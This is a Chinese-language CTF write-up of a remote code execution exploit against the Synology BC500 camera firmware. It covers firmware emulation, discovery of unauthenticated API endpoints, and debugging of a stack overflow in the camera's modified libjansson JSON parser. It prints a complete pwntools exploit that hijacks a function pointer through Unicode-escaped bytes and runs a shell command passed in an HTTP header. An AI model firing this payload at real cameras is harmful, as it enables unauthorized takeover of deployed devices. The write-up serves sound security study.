Synology BC500 摄像头 rce | rwctf Lets-party-in-the-house
/ 20 min read
Table of Contents
题目给了的附件有 player.cpio run.sh zImage 。原始固件可以从 Synology Archive Download Site - Index of /download/Firmware/Camera/BC500下载。
概况的分析
如何获取终端 ?
如果直接模拟固件,终端会被报错信息填满,可以在 /etc/init.d/rcS 使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务,然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。
find . | cpio -o --format=newc > ../new.cpio
qemu-system-arm \ -m 1024 \ -M virt,highmem=off \ -kernel zImage \ -initrd new.cpio \ -nic user,hostfwd=tcp:0.0.0.0:8081-:80,hostfwd=tcp:0.0.0.0:8082-:8082,hostfwd=tcp:0.0.0.0:1234-:1234\ -nographic开启了什么服务
443/80开 web 服务554开启 real-Time Streaming Protocol (RTSP) 服务,摄像机视频流的访问的协议。49152提供通用即插即用 (UPnP) 服务,促进网络上设备之间的无缝发现和通信。
/bin # netstat -ntplnetstat -ntplnetstat: showing only processes with your user IDActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 544/webdtcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 544/webdtcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 392/streamdtcp 0 0 10.0.2.15:49153 0.0.0.0:* LISTEN 208/systemdtcp 0 0 :::8082 :::* LISTEN 463/telnetdtcp 0 0 :::554 :::* LISTEN 392/streamd/bin # netstat -nuplnetstat -nuplActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nameudp 0 0 0.0.0.0:19998 0.0.0.0:* 544/webdudp 0 0 10.0.2.15:68 0.0.0.0:* 280/dhcpcd: eth0 [iudp 0 0 127.0.0.1:41552 0.0.0.0:* 208/systemdudp 0 0 0.0.0.0:1900 0.0.0.0:* 208/systemd寻找未授权接口
在 webd 文件中可以看见一些可能是 API 接口的字符串:
strings webd | grep "/"
/cgi2/factorydefault.cgi/cgi2/fwupgrade.cgi/cgi2/ptz.cgi/cgi2/param.cgi/cgi2/config.cgi/cgi2/provision.cgi/syno-api/security/ip_filter/deny/tmp/DSCamUUID/syno-api/security/syno-api/security/encryption_key/syno-api/recording/sd_card/speed_test/www/cgi2/factory.cgi/syno-api/recording/sd_card/format/www/cgi2/storage.cgi/syno-api/recording/sd_card/mount/syno-api/recording/sd_card/unmount/syno-api/recording/retrievetype=sd1&action=list&ch=1&page=1&pagesize=20000&key=name&list=all&dir=recording/%s/syno-api/recording/downloadtype=sd1&action=download&dir=recording/%s&fname=%s/syno-api/snapshot/www/cgi2/snapshot.cgi/syno-api/maintenance/reboot/www/cgi2/restart.cgi/syno-api/maintenance/firmware/upgrade/www/camera-cgi/synocam_fw_upgrade.cgi把这些作为字典让 dirsearch 扫描,排除 401 的接口,剩下 200 的就是未授权接口
python dirsearch.py -u http://127.0.0.1:8081 -m GET -w E:\ctf\2024\rwctf\party_in_the_house\samples\reverse\dir_wordlist.txt
_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 102
Target: http://127.0.0.1:8081/
[15:08:11] Scanning:[15:08:12] 200 - 15B - /syno-api/session[15:08:12] 404 - 30B - /style/assets/[15:08:12] 200 - 6KB - /crypto.min.js[15:08:12] 404 - 30B - /uistrings/[15:08:12] 200 - 460B - /index.html[15:08:12] 200 - 1MB - /style/main.css[15:08:12] 200 - 2MB - /vue.bundle.js[15:08:13] 200 - 7B - /syno-api/security/info/language[15:08:13] 200 - 6B - /syno-api/activate[15:08:13] 200 - 21B - /syno-api/security/info/mac[15:08:13] 200 - 9B - /syno-api/security/info/model[15:08:13] 200 - 105B - /syno-api/security/info[15:08:14] 200 - 14B - /syno-api/maintenance/firmware/version[15:08:14] 200 - 9B - /syno-api/security/info/name[15:08:14] 200 - 4B - /syno-api/security/info/serial_number[15:08:14] 200 - 6B - /syno-api/security/network/dhcp对比固件升级逻辑
UBI没有FLASH转换层(FTL,Flash Translation Layer),只能工作在裸的flash,因此它不能用于消费类FLASH如MMC, RS-MMC, eMMC, SD, mini-SD, micro-SD, CompactFlash, MemoryStick等,但UBI在嵌入式设备中被广泛使用。关于 ubi 文件提取的可以看 IoT(八)ubi文件系统挂载&解包 ~ gandalf
bindiff 找到 ubi 文件
docker run --rm -v $PWD/samples:/samples cincan/binwalk -eM /samples/Synology_BC500_1.0.6_0294.sa.bin -C /samples/firmubi reader 获取 ubifs
ubireader_extract_images 0.ubi然后直接 7z 解压就可以看到之前的硬件了。
使用 diaphora diff webd 文件,感觉未授权的接口大概可能在这里。
登录的认证流程
从 json 中获取 username 和 password 参数,然后使用 AZDG 解密。AZDG 是一种基于 MD5 和 xor 的已知加密函数,并且在线提供了多种它的实现。
未授权接口的功能分析
[15:08:12] 200 - 15B - /syno-api/session[15:08:13] 200 - 7B - /syno-api/security/info/language[15:08:13] 200 - 6B - /syno-api/activate[15:08:13] 200 - 21B - /syno-api/security/info/mac[15:08:13] 200 - 9B - /syno-api/security/info/model[15:08:13] 200 - 105B - /syno-api/security/info[15:08:14] 200 - 14B - /syno-api/maintenance/firmware/version[15:08:14] 200 - 9B - /syno-api/security/info/name[15:08:14] 200 - 4B - /syno-api/security/info/serial_number[15:08:14] 200 - 6B - /syno-api/security/network/dhcp/syno-api/activate
只接受 true 的 PUT 请求,相机初始化有关。
/syno-api/session
通过 cookie 获取 session
/syno-api/security/info/language
设置语言
其余的 API 没办法读取输入
libjansson.so.4.7.0 缓冲区溢出
在 Pwn2Own Toronto 2023: Part 4 – Memory Corruption Analysis – Compass Security Blog 有个类似的漏洞。
如果向 API 发送普通的 json 会有提示 Invalid Uri. 但是如果发送的 json 太长了,就会直接崩溃。
import requests
url = "http://127.0.0.1:8081/syno-api/session"data = {"A"*60:"B"}
response = requests.put(url, json=data)
print("Status Code:", response.status_code)print("Response Body:", response.text)通过 core dump 定位到发生问题的文件,webd 调用了synocam_param
cat /tmp/core_dump_log.txtsynoaid core dumped at 2024-12-16 08:15:59synocam_param.c core dumped at 2024-12-16 08:50:46动态分析 synocam_param.cgi
有问题的文件定位在 ./www/camera-cgi/synocam_param.cgi。这里可以直接调试一下,把 gdbserver 放进去,但是由于启动时间很短,所以不能直接 attach 到进程上去,得自己去起一个 synocam_param.cgi 。
逆向可以看到大部分信息都是作为环境变量传递的,而请求的数据是通过 stdin 发送的。
sub_11038(&v97, "SERVER_NAME=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 124)); sub_11038(&v97, "SERVER_ROOT=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 72)); sub_11038(&v97, "DOCUMENT_ROOT=%s", *(const char **)(*(_DWORD *)(a1 + 1212) + 72)); sub_11038(&v97, "SERVER_SOFTWARE=CivetWeb/%s", "1.15"); sub_11038(&v97, "%s", "GATEWAY_INTERFACE=CGI/1.1"); sub_11038(&v97, "%s", "SERVER_PROTOCOL=HTTP/1.1"); sub_11038(&v97, "%s", "REDIRECT_STATUS=200"); sub_11038(&v97, "SERVER_PORT=%d", *(_DWORD *)(a1 + 116)); sub_10B28((char *)&v106, 0x32u); sub_11038(&v97, "REMOTE_ADDR=%s", (const char *)&v106); sub_11038(&v97, "REQUEST_METHOD=%s", *(const char **)(a1 + 16)); sub_11038(&v97, "REMOTE_PORT=%d", *(_DWORD *)(a1 + 112)); sub_11038(&v97, "REQUEST_URI=%s", *(const char **)(a1 + 20)); sub_11038(&v97, "LOCAL_URI=%s", *(const char **)(a1 + 28)); sub_11038(&v97, "LOCAL_URI_RAW=%s", *(const char **)(a1 + 24));虽然暂时不能 attach 到 synocam_param.cgi 但是调 webd 还是可以的。带着参数和环境变量启动文件,输入输出通过 pipe 转发
if ( v76 ) { v77 = *(_BYTE **)(dword4BC + 96); if ( v77 && *v77 ) execle(v76, v76); else execle(*(const char **)(dword4BC + 92), *(const char **)(dword4BC + 92), v32, 0, format); strerror(*v74); sub_490DAC((int)a1, 0, (int)&unk_51A064, 5909, "%s: execle(%s %s): %s"); } else由于启动的时候是 fork 一个子进程来接收输入输出。这里遇到了 ida 和 gdb 的 base 不通的情况,把 ida 的 base 改了
gdbserver-armel-static-8.0.1 *:1234 --attach $(ps -ef | grep webd | awk '{print $1}')
断点打在 fork 处b forkset follow-fork-mode childb execle就可以拿到传递给新进程的参数和环境变量:
[+] Detected syscall (arch:ARM, mode:Native-32) execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp)[+] Parameter Register Value RET $r0 - NR $r7 0xb filename $r0 0x7581d8c4 -> 0x6f6e7973 -> 0x00000000 argv $r1 0x7581d548 -> 0x7581d8c4 -> 0x6f6e7973 -> 0x00000000 envp $r2 0x757173e0 -> 0x75717e30 -> 0x56524553 'SERVER_NAME=IPCam'程序为 synocam_param.cgi 没有其他参数。环境变量如下:
0x7551c100|+0x0000|+000: 0x7551b0f8 -> 0x56524553 'SERVER_NAME=IPCam' 0x7551c104|+0x0004|+001: 0x7551b10a -> 0x56524553 'SERVER_ROOT=/www' 0x7551c108|+0x0008|+002: 0x7551b11b -> 0x55434f44 'DOCUMENT_ROOT=/www' 0x7551c10c|+0x000c|+003: 0x7551b12e -> 0x56524553 'SERVER_SOFTWARE=CivetWeb/1.15' 0x7551c110|+0x0010|+004: 0x7551b14c -> 0x45544147 'GATEWAY_INTERFACE=CGI/1.1' 0x7551c114|+0x0014|+005: 0x7551b166 -> 0x56524553 'SERVER_PROTOCOL=HTTP/1.1' 0x7551c118|+0x0018|+006: 0x7551b17f -> 0x49444552 'REDIRECT_STATUS=200' 0x7551c11c|+0x001c|+007: 0x7551b193 -> 0x56524553 'SERVER_PORT=80' 0x7551c120|+0x0020|+008: 0x7551b1a2 -> 0x4f4d4552 'REMOTE_ADDR=10.0.2.2' 0x7551c124|+0x0024|+009: 0x7551b1b7 -> 0x55514552 'REQUEST_METHOD=PUT' 0x7551c128|+0x0028|+010: 0x7551b1ca -> 0x4f4d4552 'REMOTE_PORT=40898' 0x7551c12c|+0x002c|+011: 0x7551b1dc -> 0x55514552 'REQUEST_URI=/syno-api/session' 0x7551c130|+0x0030|+012: 0x7551b1fa -> 0x41434f4c 'LOCAL_URI=/syno-api/session' 0x7551c134|+0x0034|+013: 0x7551b216 -> 0x41434f4c 'LOCAL_URI_RAW=/syno-api/session' 0x7551c138|+0x0038|+014: 0x7551b236 -> 0x49524353 'SCRIPT_NAME=/syno-api/session' 0x7551c13c|+0x003c|+015: 0x7551b254 -> 0x49524353 'SCRIPT_FILENAME=/www/camera-cgi/synocam_param.cgi' 0x7551c140|+0x0040|+016: 0x7551b286 -> 0x48544150 'PATH_TRANSLATED=/www' 0x7551c144|+0x0044|+017: 0x7551b29b -> 0x50545448 'HTTPS=off' 0x7551c148|+0x0048|+018: 0x7551b2a5 -> 0x544e4f43 'CONTENT_TYPE=application/json' 0x7551c14c|+0x004c|+019: 0x7551b2c3 -> 0x544e4f43 'CONTENT_LENGTH=10' 0x7551c150|+0x0050|+020: 0x7551b2d5 -> 0x48544150 'PATH=/sbin:/usr/sbin:/bin:/usr/bin' 0x7551c154|+0x0054|+021: 0x7551b2f8 -> 0x50545448 'HTTP_HOST=127.0.0.1:8081' 0x7551c158|+0x0058|+022: 0x7551b311 -> 0x50545448 'HTTP_USER_AGENT=python-requests/2.32.3' 0x7551c15c|+0x005c|+023: 0x7551b338 -> 0x50545448 'HTTP_ACCEPT_ENCODING=gzip, deflate' 0x7551c160|+0x0060|+024: 0x7551b35b -> 0x50545448 'HTTP_ACCEPT=*/*' 0x7551c164|+0x0064|+025: 0x7551b36b -> 0x50545448 'HTTP_CONNECTION=keep-alive' 0x7551c168|+0x0068|+026: 0x7551b386 -> 0x50545448 'HTTP_CONTENT_LENGTH=10' 0x7551c16c|+0x006c|+027: 0x7551b39d -> 0x50545448 'HTTP_CONTENT_TYPE=application/json' 0x7551c170|+0x0070|+028: 0x7551b3c0 -> 0x50534552 'RESPONSE_TO=SOCKET' 0x7551c174|+0x0074|+029: 0x7551b3d3 -> 0x49544341 'ACTION_PREPARE=yes' 0x7551c178|+0x0078|+030: 0x7551b3e6 -> 0x49544341 'ACTION_QUERY=yes'输入的 json 是通过标准输入传入的,可以写这样的脚本进行调试:
echo \{\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\": \"b\"\} > body.txt
export SERVER_NAME=IPCamexport SERVER_ROOT=/wwwexport DOCUMENT_ROOT=/wwwexport SERVER_SOFTWARE=CivetWeb/1.15export GATEWAY_INTERFACE=CGI/1.1export SERVER_PROTOCOL=HTTP/1.1export REDIRECT_STATUS=200export SERVER_PORT=80export REMOTE_ADDR=10.0.2.2export REQUEST_METHOD=PUTexport REMOTE_PORT=40898export REQUEST_URI=/syno-api/sessionexport LOCAL_URI=/syno-api/sessionexport LOCAL_URI_RAW=/syno-api/sessionexport SCRIPT_NAME=/syno-api/sessionexport SCRIPT_FILENAME=/www/camera-cgi/synocam_param.cgiexport PATH_TRANSLATED=/wwwexport HTTPS=offexport CONTENT_TYPE=application/jsonexport CONTENT_LENGTH=`wc -c body.txt | cut -d ' ' -f 1`export PATH=/sbin:/usr/sbin:/bin:/usr/binexport HTTP_HOST=127.0.0.1:8081export HTTP_USER_AGENT=python-requests/2.32.3export HTTP_ACCEPT_ENCODING=gzip, deflateexport HTTP_ACCEPT=*/*export HTTP_CONNECTION=keep-aliveexport HTTP_CONTENT_LENGTH=`wc -c body.txt | cut -d ' ' -f 1`export HTTP_CONTENT_TYPE=application/jsonexport RESPONSE_TO=SOCKETexport ACTION_PREPARE=yesexport ACTION_QUERY=yes
/www/camera-cgi/synocam_param.cgi < body.txt# gdbserver-armel-static-8.0.1 localhost:1234 /www/camera-cgi/synocam_param.cgi < body.txt确实发现了 segmentation fault
在 gdb 里面可以定位到 json_object_set_new_nocheck -> json_loads 函数
代码分析
这个库是开源项目 GitHub - akheron/jansson: C library for encoding, decoding and manipulating JSON data 改写的
开源的版本的函数逻辑
- json_loads
json_t *json_loads(const char *string, size_t flags, json_error_t *error) { // 第一个参数就是输入的 json 字符串 lex_t lex; json_t *result; string_data_t stream_data;
jsonp_error_init(error, "<string>");
// 输入不是 NULL if (string == NULL) { error_set(error, NULL, json_error_invalid_argument, "wrong arguments"); return NULL; }
// 初始一个结构体 stream_data.data = string; stream_data.pos = 0;
// 先初始化 lex if (lex_init(&lex, string_get, flags, (void *)&stream_data)) return NULL;
// 然后 parse json 到 lex 中 result = parse_json(&lex, flags, error);
lex_close(&lex); return result;}- 结构体 lex_t
typedef struct { stream_t stream; strbuffer_t saved_text; size_t flags; size_t depth; int token; union { struct { char *val; size_t len; } string; json_int_t integer; double real; } value;} lex_t;- lex_scan 用于识别下一个 token,token 类型放在 lex->token 里面
static int lex_scan(lex_t *lex, json_error_t *error) { int c;
strbuffer_clear(&lex->saved_text);
if (lex->token == TOKEN_STRING) lex_free_string(lex);
do c = lex_get(lex, error); while (c == ' ' || c == '\t' || c == '\n' || c == '\r');
if (c == STREAM_STATE_EOF) { lex->token = TOKEN_EOF; goto out; }
if (c == STREAM_STATE_ERROR) { lex->token = TOKEN_INVALID; goto out; }
lex_save(lex, c);
// 符号 if (c == '{' || c == '}' || c == '[' || c == ']' || c == ':' || c == ',') lex->token = c;
// 字符串 else if (c == '"') lex_scan_string(lex, error);
// 数字 else if (l_isdigit(c) || c == '-') { if (lex_scan_number(lex, c, error)) goto out; }
// bool else if (l_isalpha(c)) { /* eat up the whole identifier for clearer error messages */ const char *saved_text;
do c = lex_get_save(lex, error); while (l_isalpha(c)); lex_unget_unsave(lex, c);
saved_text = strbuffer_value(&lex->saved_text);
if (strcmp(saved_text, "true") == 0) lex->token = TOKEN_TRUE; else if (strcmp(saved_text, "false") == 0) lex->token = TOKEN_FALSE; else if (strcmp(saved_text, "null") == 0) lex->token = TOKEN_NULL; else lex->token = TOKEN_INVALID; }
else { /* save the rest of the input UTF-8 sequence to get an error message of valid UTF-8 */ lex_save_cached(lex); lex->token = TOKEN_INVALID; }
out: return lex->token;}- json_parse 从 { 头开始到 } 解析数据,lex_scan 用于解析 token类型,parse_value 用于进一步解析 token
static json_t *parse_json(lex_t *lex, size_t flags, json_error_t *error) { json_t *result;
// 开始解析的时候深度是 0 lex->depth = 0;
// 开始扫描,第一个符号应该是 { lex_scan(lex, error); if (!(flags & JSON_DECODE_ANY)) { if (lex->token != '[' && lex->token != '{') { error_set(error, lex, json_error_invalid_syntax, "'[' or '{' expected"); return NULL; } }
// result = parse_value(lex, flags, error); if (!result) return NULL;
if (!(flags & JSON_DISABLE_EOF_CHECK)) { lex_scan(lex, error); if (lex->token != TOKEN_EOF) { error_set(error, lex, json_error_end_of_input_expected, "end of file expected"); json_decref(result); return NULL; } }
if (error) { /* Save the position even though there was no error */ error->position = (int)lex->stream.position; }
return result;}- parse_value
根据 token 的类型用不同的方法处理,如果里头还有 { 的话会递归用 parse_object 函数处理
static json_t *parse_value(lex_t *lex, size_t flags, json_error_t *error) { json_t *json;
lex->depth++; if (lex->depth > JSON_PARSER_MAX_DEPTH) { error_set(error, lex, json_error_stack_overflow, "maximum parsing depth reached"); return NULL; }
switch (lex->token) { case TOKEN_STRING: { const char *value = lex->value.string.val; size_t len = lex->value.string.len;
if (!(flags & JSON_ALLOW_NUL)) { if (memchr(value, '\0', len)) { error_set(error, lex, json_error_null_character, "\\u0000 is not allowed without JSON_ALLOW_NUL"); return NULL; } }
json = jsonp_stringn_nocheck_own(value, len); lex->value.string.val = NULL; lex->value.string.len = 0; break; }
case TOKEN_INTEGER: { json = json_integer(lex->value.integer); break; }
case TOKEN_REAL: { json = json_real(lex->value.real); break; }
case TOKEN_TRUE: json = json_true(); break;
case TOKEN_FALSE: json = json_false(); break;
case TOKEN_NULL: json = json_null(); break;
case '{': json = parse_object(lex, flags, error); break;
case '[': json = parse_array(lex, flags, error); break;
case TOKEN_INVALID: error_set(error, lex, json_error_invalid_syntax, "invalid token"); return NULL;
default: error_set(error, lex, json_error_invalid_syntax, "unexpected token"); return NULL; }
if (!json) return NULL;
lex->depth--; return json;}- parse_object 去解析一个 object。
static json_t *parse_object(lex_t *lex, size_t flags, json_error_t *error) { json_t *object = json_object(); if (!object) return NULL;
lex_scan(lex, error); if (lex->token == '}') return object;
while (1) { char *key; size_t len; json_t *value; // key 一定是一个 string if (lex->token != TOKEN_STRING) { error_set(error, lex, json_error_invalid_syntax, "string or '}' expected"); goto error; }
key = lex_steal_string(lex, &len); if (!key) return NULL; if (memchr(key, '\0', len)) { jsonp_free(key); error_set(error, lex, json_error_null_byte_in_key, "NUL byte in object key not supported"); goto error; } // 不重复 key if (flags & JSON_REJECT_DUPLICATES) { if (json_object_getn(object, key, len)) { jsonp_free(key); error_set(error, lex, json_error_duplicate_key, "duplicate object key"); goto error; } } // key 之后是 : lex_scan(lex, error); if (lex->token != ':') { jsonp_free(key); error_set(error, lex, json_error_invalid_syntax, "':' expected"); goto error; } // 解析 value 部分 lex_scan(lex, error); value = parse_value(lex, flags, error); if (!value) { jsonp_free(key); goto error; }
// 在 object hashtable 中插入 key, len, value if (json_object_setn_new_nocheck(object, key, len, value)) { jsonp_free(key); goto error; }
jsonp_free(key); // 如果后面没有 , 就退出 lex_scan(lex, error); if (lex->token != ',') break; // 否则进一步解析 lex_scan(lex, error); } // 最后是一个 } if (lex->token != '}') { error_set(error, lex, json_error_invalid_syntax, "'}' expected"); goto error; } // 返回这个 obj return object;
error: json_decref(object); return NULL;}- json_t
typedef struct json_t { json_type type; volatile size_t refcount;} json_t;实际逆向的函数实现
使用 sscanf 解析 key 到 target1[32] 和 target2[12] 中,存在溢出可能性…
如果发生了溢出,那么会依次把栈上面这些变量给覆盖:
int v4; // r0 char v7; // [sp+8h] [bp-4Ch] _BYTE target1[32]; // [sp+14h] [bp-40h] BYREF _BYTE target2[12]; // [sp+34h] [bp-20h] BYREF size_t n; // [sp+40h] [bp-14h] BYREF int v12; // [sp+44h] [bp-10h] void *key; // [sp+48h] [bp-Ch] int obj; // [sp+4Ch] [bp-8h]漏洞利用
由于中间存在太多利用,需要尽可能让函数早点返回,可以不写冒号提前 error 返回
构造变量 key
首先要溢出到 key 上
key 需要被 free 掉,所以需要构造一个合理的堆块地址。地址可写,而且 size 要合理。在 vmmap 里面的可写的地址找一个就行。
void jsonp_free(void *ptr) { if (!ptr) return;
(*do_free)(ptr);}使用 gef 的命令可以很方便搜索这样的可写区域
search-pattern 0x00000041 /lib/libjansson.so.4.7.0 -p rw-
所以 key 的值被设置成 0x76fcd3a0 即可。
构造变量 obj
如果发生 error,会调用函数 json_decref 去析构obj
error: json_decref(object); return NULL;}
void json_decref(struct_result *result){ if ( result && result->dword4 != -1 && !--result->dword4 ) j_json_delete(result);}看代码的话,需要找一个 +4 的地方是 -1 的地址。同样用 search-pattern 命令寻找
所以只需要把 obj 设置成 0x76fbacec 即可绕过。
所以我们的脚本可能是长得类似与这样:
from pwn import *
vuln = b'{"a ' + b"a"*20 + p32(0x76fcd3a0) + p32(0x76fbacec) + b"a"*4 + p32(0x12345678) + b'"}'with open('body.txt', 'wb') as f: f.write(vuln)UTF-8 字符串
由于 libjansson 的 key 只能是 UTF-8,文档,所以输入只能是 0x1-0x7F 范围内的字节,排除 0x20。Jansson 使用 UTF-8 作为字符编码。所有 JSON 字符串都必须是有效的 UTF-8(或 ASCII,因为它是 UTF-8 的子集)。允许使用 U+0000 到 U+10FFFF 的所有 Unicode 代码点,但如果您希望在字符串中嵌入 NUL 字节,则必须使用长度感知函数。
while (*p != '"') { if (*p == '\\') { p++; if (*p == 'u') { size_t length; int32_t value;
value = decode_unicode_escape(p); if (value < 0) { error_set(error, lex, json_error_invalid_syntax, "invalid Unicode escape '%.6s'", p - 1); goto out; } p += 5;
if (0xD800 <= value && value <= 0xDBFF) { /* surrogate pair */ if (*p == '\\' && *(p + 1) == 'u') { int32_t value2 = decode_unicode_escape(++p); if (value2 < 0) { error_set(error, lex, json_error_invalid_syntax, "invalid Unicode escape '%.6s'", p - 1); goto out; } p += 5;
if (0xDC00 <= value2 && value2 <= 0xDFFF) { /* valid second surrogate */ value = ((value - 0xD800) << 10) + (value2 - 0xDC00) + 0x10000; } else { /* invalid second surrogate */ error_set(error, lex, json_error_invalid_syntax, "invalid Unicode '\\u%04X\\u%04X'", value, value2); goto out; } } else { /* no second surrogate */ error_set(error, lex, json_error_invalid_syntax, "invalid Unicode '\\u%04X'", value); goto out; } } else if (0xDC00 <= value && value <= 0xDFFF) { error_set(error, lex, json_error_invalid_syntax, "invalid Unicode '\\u%04X'", value); goto out; }
if (utf8_encode(value, t, &length)) assert(0); t += length;幸运的是,UTF-8 中也存在一些代理对。意思是,一个 Unicode 编码字符解码为两个或更多十六进制字节。例如
\u0080是€符号,它将被解码为两个十六进制字节C2 80。通过使用代理对,我们可以对任意字节(例如 0x80)进行编码,只要我们在上例中用预定义值(例如 0xC2)破坏下一个字节即可。
也就是说,可以通过输入代理对的方式输入任意字符,只不过这个字符的下一位会被破坏。
更换 lex 结构体指针
因为 utf-8 的话,写 rop 太难了,所以观察栈的结构可以看见 lex_t 的 stream 成员上有一个函数指针 get。调用方式是 lex_scan -> lex_get -> stream_get -> stream->get ,会执行 stream->get(stream->data); 。
所以直接去把 lex 结构体的第一个 4 bytes 改成 system 就可以。如果这么改的话,之前的东西就不用绕过了!
函数指针触发的地方是:
所以改这个地方的地址就可以。r3 的位置是 0x7effede0。
在 sscanf 处:
溢出开始的地方是 0x7effed5c,偏移是 0x84。
将这个指针劫持到
SynoPopen函数中popen调用点附近的 gadget 上,实现有 8 字节可控的任意命令执行。之所以要找popen调用点是因为 CGI 体所在的地址空间刚好可以通过\uXXXX传入且不会被破坏。
在 0x414d5c 处有一个 gadget 可以使用

所以 payload
{"a aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$HTTP_A;\u005c\u004d\u0041": "b"}from pwn import *context(arch='arm', os='linux', log_level='debug')ip = '127.0.0.1'port = 8081r = remote(ip, port)
payload = b'a ' + b'a' * (0x84 - 8) + b'$HTTP_A;' + b'\u005c\u004d\u0041'json = b'{"' + payload + b'": ""}'pay = b''pay += b'POST /syno-api/security/info/mac HTTP/1.1' + b'\r\n'pay += (b"Content-Length: %d" % len(json)) + b'\r\n'pay += b'A: cat /flag > /www/index.html' + b'\r\n'pay += b'Accept: text/plain, */*; q=0.01' + b'\r\n'pay += b'Content-Type: application/json' + b'\r\n'pay += b'\r\n'pay += jsonr.send(pay)
r.interactive()参考
Pwn2Own Toronto 2023: Part 1 – How it all started – Compass Security Blog
[Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup - 赤道企鹅的博客 | Eqqie Blog